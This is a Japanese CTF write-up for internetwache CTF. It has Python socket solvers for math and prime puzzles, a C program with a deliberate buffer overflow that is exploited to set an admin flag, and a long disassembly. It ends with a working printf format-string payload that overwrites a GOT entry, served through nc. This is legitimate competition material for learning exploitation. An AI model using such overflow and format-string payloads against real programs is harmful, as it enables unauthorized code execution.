internetwacheCTF writeup
internetwacheCTFにcpawとして参加し、1550ptで約1400チーム中91位でした。日本チームは僕の知らないチームが多かったので数え方すごい適当ですが6位?
かなり初心者向け問題が多くて、あとはエスパーっぽい問題もあったCTFでした。
以下writeup(やるだけ問しかないですがブログを久しぶりに更新しておきたい気持ちで)書きます。
code
(全部50回位だったので手動でも頑張ればできたのかは知らない)
50 A numbers game
Description: People either love or hate math. Do you love it? Prove it! You just need to solve a bunch of equations without a mistake. Service: 188.166.133.53:11027
x + 7 = 10
みたいな計算式を送られるので、それを解くだけでした。 たまに改行があったりなかったりしたのでrecvで問題文受け取ってるか確認する文が必要でした。 以下頭が本当に悪いソルバ
from socket import *
p = socket(AF_INET,SOCK_STREAM)
p.connect(("188.166.133.53",11027))
recv = p.recv(4096)
print recv
while True:
if recv.find("x") == -1:
recv = p.recv(2048)
print recv
point = recv.find("x")
code = recv[point:-1]
a = code.split(" ")
print a
if a[1] == "+":
d = int(a[4]) - int(a[2])
print d
elif a[1] == "-":
d = int(a[2]) + int(a[4])
print d
elif a[1] == "*":
d = int(a[4]) / int(a[2])
print d
p.send(str(d)+"\n")
recv = p.recv(2048)
print recv
print "-------------"
60 It's Prime Time!
Description: I created a program for an unsolveable equation system. My friend somehow forced it to solve the equations. Can you tell me how he did it? Service: 188.166.133.53:12049
数字が一つ送られてくるのでそれよりも大きい自然数の中で一番小さい素数を返せば終わり。
こっちも改行だけがおくられたりおくられなかったりなので判定文を追加。
頭が死んでいたのでひとつずつ増やして素数なら返すってコード書きました。小さい数だけで助かった。
以下ソルバ
from socket import *
def is_prime(q):
q = abs(q)
if q == 2: return True
if q < 2 or q&1 == 0: return False
return pow(2, q-1, q) == 1
p = socket(AF_INET,SOCK_STREAM)
p.connect(("188.166.133.53",11059))
while True:
recv = p.recv(2048)
print recv
if recv.find("Level")==-1:
recv = p.recv(2048)
point = recv.find("after")
num = recv[point+6:-2]
print num
num1 = int(num)
while True:
num1 +=1
if is_prime(num1):
break
p.send(str(num1)+"\n")
70 A numbers game II
問題文メモってなかったです。
3.5.4.3.....みたいなコードが送られてきていて、暗号化してるよって問題文で言ってました。 暗号化の手順が添付ファイルにpythonで送られていたので、それをひとつずつ逆に戻すと計算式が出てきました。 その計算式をcode50と同じ方法で解いて、送ればフラグだと思ったんですが、受け取ってくれなくて、その答えをもう一回暗号化して送るとフラグでした。 以下ソルバ。添付ファイルをそのまま逆にして行ったのですごく汚い。
from socket import *
p = socket(AF_INET,SOCK_STREAM)
p.connect(("188.166.133.53", 11071))
recv = p.recv(2048)
if recv.find("Level") == -1:
recv = p.recv(2048)
print recv
s = recv[recv.find(":")+2:-1]
v = s.split('.')
print v
pr = []
for i in range(0,len(v)):
c = bin(ord(v[i])-51).lstrip("0b")
if (ord(v[i])-51 == 0):
c+="00"
elif (ord(v[i])-51 < 2):
c='0'+c
pr.append(c)
b = ''.join(pr)
print b
eq = []
for i in range(0,len(b),8):
q = 32^int(b[i:i+8],2)
print q
qq = chr(q)
eq.append(qq)
out = ''.join(eq)
print out
x = out.split(" ")
if x[1] == "+":
d = int(x[4]) - int(x[2])
print d
elif x[1] == "-":
d = int(x[4]) + int(x[2])
print d
elif x[1] == "*":
d = int(x[4]) / int(x[2])
print d
p.send(str(d))
print p.recv(2048)
exploit
70 FlagStore
Description: Here's the ultimate flag store. Store and retrieve your flags whenever you want. Attachment: exp70.zip Service: 188.166.133.53:12157
以下のソースコードが添付ファイルでもらえました。
#include <stdio.h>
#include <string.h>
#include "flag.h"
void register_user(char *username, char *password);
int check_login(char *user, char *pass, char *username, char *password);
int main() {
char username[500];
int is_admin = 0;
char password[500];
int logged_in = 0;
char flag[250];
char user[500];
char pw[500];
setbuf(stdout, NULL);
printf("Welcome to the FlagStore!\n");
while (1) {
printf("Choose an action:\n");
printf("> %s: 1\n> %s: 2\n> %s: 3\n> %s: 4\n", "regiser", "login", "get_flag", "store_flag");
int answer = 0;
scanf("%d", &answer);
switch(answer) {
case 1:
printf("Enter an username:");
scanf("%s", username);
printf("Enter a password:");
scanf("%s", password);
if(strcmp(username, "admin") == 0) {
printf("Sorry, admin user already registered\n");
break;
}
if(strlen(password) < 6) {
printf("Sorry, password too short\n");
break;
}
register_user(username, password);
printf("User %s successfully registered. You can login now!\n", username);
break;
case 2:
printf("Username:");
scanf("%499s", user);
printf("Password:");
scanf("%499s", pw);
if(check_login(user, pw, username, password) == -1) {
printf("Wrong credentials!\n");
break;
}
logged_in = 1;
printf("You're now authenticated!\n");
break;
case 3:
if(logged_in == 0) {
printf("Please login first!\n");
break;
}
if(is_admin != 0) {
strcpy(flag, FLAG);
}
printf("Your flag: %s\n", flag);
break;
case 4:
if(logged_in == 0) {
printf("Please login first!\n");
break;
}
printf("Enter your flag:");
scanf("%s",flag);
printf("Flag saved!\n");
break;
default:
printf("Wrong option\nGood bye\n");
return -1;
}
}
}
void register_user(char *username, char *password) {
//XXX: Implement database connection
return;
}
int check_login(char *user, char *pass, char *username, char *password) {
if (strcmp(user, username) != 0 || strcmp(pass, password) != 0) {
return -1;
}
return 0;
}
バイナリがもらえない時点で自明な脆弱性だなと思ってコードをみると、is_adminがusername[500]の下にあって、is_adminを0以外にすればflagもらえるので501文字入力して次のメニュー画面で3を選択すればフラグ。
80
問題文メモってなかったです、ごめんなさい。
バイナリが渡されたのでとりあえず普通のpwnっぽいなと思いながらgdb-pedaで動作確認。
remote printerという他のサーバーにアクセスしてそのサーバーの文字列を出力するプログラムでした。
まず調査。
gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : disabled PIE : disabled RELRO : disabled
以下objdump結果
セクション .plt の逆アセンブル:
080484c0 <setbuf@plt-0x10>:
80484c0: ff 35 3c 9c 04 08 push DWORD PTR ds:0x8049c3c
80484c6: ff 25 40 9c 04 08 jmp DWORD PTR ds:0x8049c40
80484cc: 00 00 add BYTE PTR [eax],al
...
080484d0 <setbuf@plt>:
80484d0: ff 25 44 9c 04 08 jmp DWORD PTR ds:0x8049c44
80484d6: 68 00 00 00 00 push 0x0
80484db: e9 e0 ff ff ff jmp 80484c0 <setbuf@plt-0x10>
080484e0 <printf@plt>:
80484e0: ff 25 48 9c 04 08 jmp DWORD PTR ds:0x8049c48
80484e6: 68 08 00 00 00 push 0x8
80484eb: e9 d0 ff ff ff jmp 80484c0 <setbuf@plt-0x10>
080484f0 <fgets@plt>:
80484f0: ff 25 4c 9c 04 08 jmp DWORD PTR ds:0x8049c4c
80484f6: 68 10 00 00 00 push 0x10
80484fb: e9 c0 ff ff ff jmp 80484c0 <setbuf@plt-0x10>
08048500 <fclose@plt>:
8048500: ff 25 50 9c 04 08 jmp DWORD PTR ds:0x8049c50
8048506: 68 18 00 00 00 push 0x18
804850b: e9 b0 ff ff ff jmp 80484c0 <setbuf@plt-0x10>
08048510 <htons@plt>:
8048510: ff 25 54 9c 04 08 jmp DWORD PTR ds:0x8049c54
8048516: 68 20 00 00 00 push 0x20
804851b: e9 a0 ff ff ff jmp 80484c0 <setbuf@plt-0x10>
08048520 <perror@plt>:
8048520: ff 25 58 9c 04 08 jmp DWORD PTR ds:0x8049c58
8048526: 68 28 00 00 00 push 0x28
804852b: e9 90 ff ff ff jmp 80484c0 <setbuf@plt-0x10>
08048530 <puts@plt>:
8048530: ff 25 5c 9c 04 08 jmp DWORD PTR ds:0x8049c5c
8048536: 68 30 00 00 00 push 0x30
804853b: e9 80 ff ff ff jmp 80484c0 <setbuf@plt-0x10>
08048540 <__gmon_start__@plt>:
8048540: ff 25 60 9c 04 08 jmp DWORD PTR ds:0x8049c60
8048546: 68 38 00 00 00 push 0x38
804854b: e9 70 ff ff ff jmp 80484c0 <setbuf@plt-0x10>
08048550 <__libc_start_main@plt>:
8048550: ff 25 64 9c 04 08 jmp DWORD PTR ds:0x8049c64
8048556: 68 40 00 00 00 push 0x40
804855b: e9 60 ff ff ff jmp 80484c0 <setbuf@plt-0x10>
08048560 <fopen@plt>:
8048560: ff 25 68 9c 04 08 jmp DWORD PTR ds:0x8049c68
8048566: 68 48 00 00 00 push 0x48
804856b: e9 50 ff ff ff jmp 80484c0 <setbuf@plt-0x10>
08048570 <__isoc99_scanf@plt>:
8048570: ff 25 6c 9c 04 08 jmp DWORD PTR ds:0x8049c6c
8048576: 68 50 00 00 00 push 0x50
804857b: e9 40 ff ff ff jmp 80484c0 <setbuf@plt-0x10>
08048580 <socket@plt>:
8048580: ff 25 70 9c 04 08 jmp DWORD PTR ds:0x8049c70
8048586: 68 58 00 00 00 push 0x58
804858b: e9 30 ff ff ff jmp 80484c0 <setbuf@plt-0x10>
08048590 <inet_addr@plt>:
8048590: ff 25 74 9c 04 08 jmp DWORD PTR ds:0x8049c74
8048596: 68 60 00 00 00 push 0x60
804859b: e9 20 ff ff ff jmp 80484c0 <setbuf@plt-0x10>
080485a0 <connect@plt>:
80485a0: ff 25 78 9c 04 08 jmp DWORD PTR ds:0x8049c78
80485a6: 68 68 00 00 00 push 0x68
80485ab: e9 10 ff ff ff jmp 80484c0 <setbuf@plt-0x10>
080485b0 <recv@plt>:
80485b0: ff 25 7c 9c 04 08 jmp DWORD PTR ds:0x8049c7c
80485b6: 68 70 00 00 00 push 0x70
80485bb: e9 00 ff ff ff jmp 80484c0 <setbuf@plt-0x10>
080485c0 <close@plt>:
80485c0: ff 25 80 9c 04 08 jmp DWORD PTR ds:0x8049c80
80485c6: 68 78 00 00 00 push 0x78
80485cb: e9 f0 fe ff ff jmp 80484c0 <setbuf@plt-0x10>
セクション .text の逆アセンブル:
080485d0 <.text>:
80485d0: 31 ed xor ebp,ebp
80485d2: 5e pop esi
80485d3: 89 e1 mov ecx,esp
80485d5: 83 e4 f0 and esp,0xfffffff0
80485d8: 50 push eax
80485d9: 54 push esp
80485da: 52 push edx
80485db: 68 20 89 04 08 push 0x8048920
80485e0: 68 c0 88 04 08 push 0x80488c0
80485e5: 51 push ecx
80485e6: 56 push esi
80485e7: 68 cb 86 04 08 push 0x80486cb
80485ec: e8 5f ff ff ff call 8048550 <__libc_start_main@plt>
80485f1: f4 hlt
80485f2: 66 90 xchg ax,ax
80485f4: 66 90 xchg ax,ax
80485f6: 66 90 xchg ax,ax
80485f8: 66 90 xchg ax,ax
80485fa: 66 90 xchg ax,ax
80485fc: 66 90 xchg ax,ax
80485fe: 66 90 xchg ax,ax
8048600: 8b 1c 24 mov ebx,DWORD PTR [esp]
8048603: c3 ret
8048604: 66 90 xchg ax,ax
8048606: 66 90 xchg ax,ax
8048608: 66 90 xchg ax,ax
804860a: 66 90 xchg ax,ax
804860c: 66 90 xchg ax,ax
804860e: 66 90 xchg ax,ax
8048610: b8 8f 9c 04 08 mov eax,0x8049c8f
8048615: 2d 8c 9c 04 08 sub eax,0x8049c8c
804861a: 83 f8 06 cmp eax,0x6
804861d: 76 1a jbe 8048639 <close@plt+0x79>
804861f: b8 00 00 00 00 mov eax,0x0
8048624: 85 c0 test eax,eax
8048626: 74 11 je 8048639 <close@plt+0x79>
8048628: 55 push ebp
8048629: 89 e5 mov ebp,esp
804862b: 83 ec 14 sub esp,0x14
804862e: 68 8c 9c 04 08 push 0x8049c8c
8048633: ff d0 call eax
8048635: 83 c4 10 add esp,0x10
8048638: c9 leave
8048639: f3 c3 repz ret
804863b: 90 nop
804863c: 8d 74 26 00 lea esi,[esi+eiz*1+0x0]
8048640: b8 8c 9c 04 08 mov eax,0x8049c8c
8048645: 2d 8c 9c 04 08 sub eax,0x8049c8c
804864a: c1 f8 02 sar eax,0x2
804864d: 89 c2 mov edx,eax
804864f: c1 ea 1f shr edx,0x1f
8048652: 01 d0 add eax,edx
8048654: d1 f8 sar eax,1
8048656: 74 1b je 8048673 <close@plt+0xb3>
8048658: ba 00 00 00 00 mov edx,0x0
804865d: 85 d2 test edx,edx
804865f: 74 12 je 8048673 <close@plt+0xb3>
8048661: 55 push ebp
8048662: 89 e5 mov ebp,esp
8048664: 83 ec 10 sub esp,0x10
8048667: 50 push eax
8048668: 68 8c 9c 04 08 push 0x8049c8c
804866d: ff d2 call edx
804866f: 83 c4 10 add esp,0x10
8048672: c9 leave
8048673: f3 c3 repz ret
8048675: 8d 74 26 00 lea esi,[esi+eiz*1+0x0]
8048679: 8d bc 27 00 00 00 00 lea edi,[edi+eiz*1+0x0]
8048680: 80 3d 90 9c 04 08 00 cmp BYTE PTR ds:0x8049c90,0x0
8048687: 75 13 jne 804869c <close@plt+0xdc>
8048689: 55 push ebp
804868a: 89 e5 mov ebp,esp
804868c: 83 ec 08 sub esp,0x8
804868f: e8 7c ff ff ff call 8048610 <close@plt+0x50>
8048694: c6 05 90 9c 04 08 01 mov BYTE PTR ds:0x8049c90,0x1
804869b: c9 leave
804869c: f3 c3 repz ret
804869e: 66 90 xchg ax,ax
80486a0: b8 48 9b 04 08 mov eax,0x8049b48
80486a5: 8b 10 mov edx,DWORD PTR [eax]
80486a7: 85 d2 test edx,edx
80486a9: 75 05 jne 80486b0 <close@plt+0xf0>
80486ab: eb 93 jmp 8048640 <close@plt+0x80>
80486ad: 8d 76 00 lea esi,[esi+0x0]
80486b0: ba 00 00 00 00 mov edx,0x0
80486b5: 85 d2 test edx,edx
80486b7: 74 f2 je 80486ab <close@plt+0xeb>
80486b9: 55 push ebp
80486ba: 89 e5 mov ebp,esp
80486bc: 83 ec 14 sub esp,0x14
80486bf: 50 push eax
80486c0: ff d2 call edx
80486c2: 83 c4 10 add esp,0x10
80486c5: c9 leave
80486c6: e9 75 ff ff ff jmp 8048640 <close@plt+0x80>
80486cb: 8d 4c 24 04 lea ecx,[esp+0x4]
80486cf: 83 e4 f0 and esp,0xfffffff0
80486d2: ff 71 fc push DWORD PTR [ecx-0x4]
80486d5: 55 push ebp
80486d6: 89 e5 mov ebp,esp
80486d8: 51 push ecx
80486d9: 83 ec 24 sub esp,0x24
80486dc: a1 8c 9c 04 08 mov eax,ds:0x8049c8c
80486e1: 83 ec 08 sub esp,0x8
80486e4: 6a 00 push 0x0
80486e6: 50 push eax
80486e7: e8 e4 fd ff ff call 80484d0 <setbuf@plt>
80486ec: 83 c4 10 add esp,0x10
80486ef: c7 45 e4 00 00 00 00 mov DWORD PTR [ebp-0x1c],0x0
80486f6: 83 ec 0c sub esp,0xc
80486f9: 68 40 89 04 08 push 0x8048940
80486fe: e8 2d fe ff ff call 8048530 <puts@plt>
8048703: 83 c4 10 add esp,0x10
8048706: 83 ec 0c sub esp,0xc
8048709: 68 5a 89 04 08 push 0x804895a
804870e: e8 cd fd ff ff call 80484e0 <printf@plt>
8048713: 83 c4 10 add esp,0x10
8048716: 83 ec 08 sub esp,0x8
8048719: 8d 45 e8 lea eax,[ebp-0x18]
804871c: 50 push eax
804871d: 68 6e 89 04 08 push 0x804896e
8048722: e8 49 fe ff ff call 8048570 <__isoc99_scanf@plt>
8048727: 83 c4 10 add esp,0x10
804872a: 83 ec 0c sub esp,0xc
804872d: 68 73 89 04 08 push 0x8048973
8048732: e8 a9 fd ff ff call 80484e0 <printf@plt>
8048737: 83 c4 10 add esp,0x10
804873a: 83 ec 08 sub esp,0x8
804873d: 8d 45 e4 lea eax,[ebp-0x1c]
8048740: 50 push eax
8048741: 68 7f 89 04 08 push 0x804897f
8048746: e8 25 fe ff ff call 8048570 <__isoc99_scanf@plt>
804874b: 83 c4 10 add esp,0x10
804874e: 8b 45 e4 mov eax,DWORD PTR [ebp-0x1c]
8048751: 83 ec 04 sub esp,0x4
8048754: 50 push eax
8048755: 8d 45 e8 lea eax,[ebp-0x18]
8048758: 50 push eax
8048759: 68 84 89 04 08 push 0x8048984
804875e: e8 7d fd ff ff call 80484e0 <printf@plt>
8048763: 83 c4 10 add esp,0x10
8048766: 8b 45 e4 mov eax,DWORD PTR [ebp-0x1c]
8048769: 83 ec 08 sub esp,0x8
804876c: 50 push eax
804876d: 8d 45 e8 lea eax,[ebp-0x18]
8048770: 50 push eax
8048771: e8 10 00 00 00 call 8048786 <close@plt+0x1c6>
8048776: 83 c4 10 add esp,0x10
8048779: b8 00 00 00 00 mov eax,0x0
804877e: 8b 4d fc mov ecx,DWORD PTR [ebp-0x4]
8048781: c9 leave
8048782: 8d 61 fc lea esp,[ecx-0x4]
8048785: c3 ret
8048786: 55 push ebp
8048787: 89 e5 mov ebp,esp
8048789: 81 ec 28 20 00 00 sub esp,0x2028
804878f: 83 ec 04 sub esp,0x4
8048792: 6a 00 push 0x0
8048794: 6a 01 push 0x1
8048796: 6a 02 push 0x2
8048798: e8 e3 fd ff ff call 8048580 <socket@plt>
804879d: 83 c4 10 add esp,0x10
80487a0: 89 45 f4 mov DWORD PTR [ebp-0xc],eax
80487a3: 83 7d f4 ff cmp DWORD PTR [ebp-0xc],0xffffffff
80487a7: 75 15 jne 80487be <close@plt+0x1fe>
80487a9: 83 ec 0c sub esp,0xc
80487ac: 68 af 89 04 08 push 0x80489af
80487b1: e8 7a fd ff ff call 8048530 <puts@plt>
80487b6: 83 c4 10 add esp,0x10
80487b9: e9 a7 00 00 00 jmp 8048865 <close@plt+0x2a5>
80487be: 83 ec 0c sub esp,0xc
80487c1: ff 75 08 push DWORD PTR [ebp+0x8]
80487c4: e8 c7 fd ff ff call 8048590 <inet_addr@plt>
80487c9: 83 c4 10 add esp,0x10
80487cc: 89 45 e8 mov DWORD PTR [ebp-0x18],eax
80487cf: 66 c7 45 e4 02 00 mov WORD PTR [ebp-0x1c],0x2
80487d5: 8b 45 0c mov eax,DWORD PTR [ebp+0xc]
80487d8: 0f b7 c0 movzx eax,ax
80487db: 83 ec 0c sub esp,0xc
80487de: 50 push eax
80487df: e8 2c fd ff ff call 8048510 <htons@plt>
80487e4: 83 c4 10 add esp,0x10
80487e7: 66 89 45 e6 mov WORD PTR [ebp-0x1a],ax
80487eb: 83 ec 04 sub esp,0x4
80487ee: 6a 10 push 0x10
80487f0: 8d 45 e4 lea eax,[ebp-0x1c]
80487f3: 50 push eax
80487f4: ff 75 f4 push DWORD PTR [ebp-0xc]
80487f7: e8 a4 fd ff ff call 80485a0 <connect@plt>
80487fc: 83 c4 10 add esp,0x10
80487ff: 85 c0 test eax,eax
8048801: 79 12 jns 8048815 <close@plt+0x255>
8048803: 83 ec 0c sub esp,0xc
8048806: 68 bc 89 04 08 push 0x80489bc
804880b: e8 10 fd ff ff call 8048520 <perror@plt>
8048810: 83 c4 10 add esp,0x10
8048813: eb 50 jmp 8048865 <close@plt+0x2a5>
8048815: 6a 00 push 0x0
8048817: 68 00 20 00 00 push 0x2000
804881c: 8d 85 e4 df ff ff lea eax,[ebp-0x201c]
8048822: 50 push eax
8048823: ff 75 f4 push DWORD PTR [ebp-0xc]
8048826: e8 85 fd ff ff call 80485b0 <recv@plt>
804882b: 83 c4 10 add esp,0x10
804882e: 85 c0 test eax,eax
8048830: 79 12 jns 8048844 <close@plt+0x284>
8048832: 83 ec 0c sub esp,0xc
8048835: 68 d1 89 04 08 push 0x80489d1
804883a: e8 f1 fc ff ff call 8048530 <puts@plt>
804883f: 83 c4 10 add esp,0x10
8048842: eb 21 jmp 8048865 <close@plt+0x2a5>
8048844: 83 ec 0c sub esp,0xc
8048847: 8d 85 e4 df ff ff lea eax,[ebp-0x201c]
804884d: 50 push eax
804884e: e8 8d fc ff ff call 80484e0 <printf@plt>
8048853: 83 c4 10 add esp,0x10
8048856: 83 ec 0c sub esp,0xc
8048859: ff 75 f4 push DWORD PTR [ebp-0xc]
804885c: e8 5f fd ff ff call 80485c0 <close@plt>
8048861: 83 c4 10 add esp,0x10
8048864: 90 nop
8048865: c9 leave
8048866: c3 ret
8048867: 55 push ebp
8048868: 89 e5 mov ebp,esp
804886a: 83 ec 48 sub esp,0x48
804886d: 83 ec 08 sub esp,0x8
8048870: 68 dc 89 04 08 push 0x80489dc
8048875: 68 de 89 04 08 push 0x80489de
804887a: e8 e1 fc ff ff call 8048560 <fopen@plt>
804887f: 83 c4 10 add esp,0x10
8048882: 89 45 f4 mov DWORD PTR [ebp-0xc],eax
8048885: 83 ec 04 sub esp,0x4
8048888: ff 75 f4 push DWORD PTR [ebp-0xc]
804888b: 6a 32 push 0x32
804888d: 8d 45 c2 lea eax,[ebp-0x3e]
8048890: 50 push eax
8048891: e8 5a fc ff ff call 80484f0 <fgets@plt>
8048896: 83 c4 10 add esp,0x10
8048899: 83 ec 0c sub esp,0xc
804889c: ff 75 f4 push DWORD PTR [ebp-0xc]
804889f: e8 5c fc ff ff call 8048500 <fclose@plt>
80488a4: 83 c4 10 add esp,0x10
80488a7: 83 ec 08 sub esp,0x8
80488aa: 8d 45 c2 lea eax,[ebp-0x3e]
80488ad: 50 push eax
80488ae: 68 e7 89 04 08 push 0x80489e7
80488b3: e8 28 fc ff ff call 80484e0 <printf@plt>
80488b8: 83 c4 10 add esp,0x10
80488bb: 90 nop
80488bc: c9 leave
80488bd: c3 ret
80488be: 66 90 xchg ax,ax
80488c0: 55 push ebp
80488c1: 57 push edi
80488c2: 56 push esi
80488c3: 53 push ebx
80488c4: e8 37 fd ff ff call 8048600 <close@plt+0x40>
80488c9: 81 c3 6f 13 00 00 add ebx,0x136f
80488cf: 83 ec 0c sub esp,0xc
80488d2: 8b 6c 24 20 mov ebp,DWORD PTR [esp+0x20]
80488d6: 8d b3 0c ff ff ff lea esi,[ebx-0xf4]
80488dc: e8 b7 fb ff ff call 8048498 <setbuf@plt-0x38>
80488e1: 8d 83 08 ff ff ff lea eax,[ebx-0xf8]
80488e7: 29 c6 sub esi,eax
80488e9: c1 fe 02 sar esi,0x2
80488ec: 85 f6 test esi,esi
80488ee: 74 25 je 8048915 <close@plt+0x355>
80488f0: 31 ff xor edi,edi
80488f2: 8d b6 00 00 00 00 lea esi,[esi+0x0]
80488f8: 83 ec 04 sub esp,0x4
80488fb: ff 74 24 2c push DWORD PTR [esp+0x2c]
80488ff: ff 74 24 2c push DWORD PTR [esp+0x2c]
8048903: 55 push ebp
8048904: ff 94 bb 08 ff ff ff call DWORD PTR [ebx+edi*4-0xf8]
804890b: 83 c7 01 add edi,0x1
804890e: 83 c4 10 add esp,0x10
8048911: 39 f7 cmp edi,esi
8048913: 75 e3 jne 80488f8 <close@plt+0x338>
8048915: 83 c4 0c add esp,0xc
8048918: 5b pop ebx
8048919: 5e pop esi
804891a: 5f pop edi
804891b: 5d pop ebp
804891c: c3 ret
804891d: 8d 76 00 lea esi,[esi+0x0]
8048920: f3 c3 repz ret
自分のサーバーで nc -l 25252 < text という感じで待ち受け、プログラムをサーバーにつなげて文字列を入力しました。
printfでfsbの脆弱性があったので、 aaaa %x 無限に送って入力文字までのオフセット調べて、closeのgotを書き換えてflagを呼ぶ関数に飛ばすワンライナーを書いてサーバーで待ち受けてフラグ。
以下ワンライナー
python -c 'print "\x80\x9c\x04\x08\x82\x9c\x04\x08%34911x%7$hn%32669x%8$hn"' | nc -l 25252
感想
トラコンの準備となんちゃって某ア大会行ってて全然動けなくてゴメンなさい。チームのみなさんお疲れ様でした〜。